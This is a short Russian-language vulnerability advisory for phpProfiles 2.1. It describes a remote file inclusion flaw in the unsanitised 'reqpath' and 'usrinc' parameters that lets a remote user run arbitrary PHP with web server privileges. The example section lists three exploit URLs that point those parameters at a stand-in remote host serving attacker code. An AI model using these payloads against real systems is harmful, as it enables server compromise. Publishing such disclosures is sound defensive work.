Программа: phpProfiles 2.1
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "reqpath" множественными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://localhost/path/users/include/body.inc.php?reqpath=http://EvElCoDe.txt?
http://localhost/path/users/include/body_blog.inc.php?reqpath=http://EvElCoDe.txt?
http://localhost/path/users/include/upload_ht.inc.php?usrinc=http://EvElCoDe.txt?
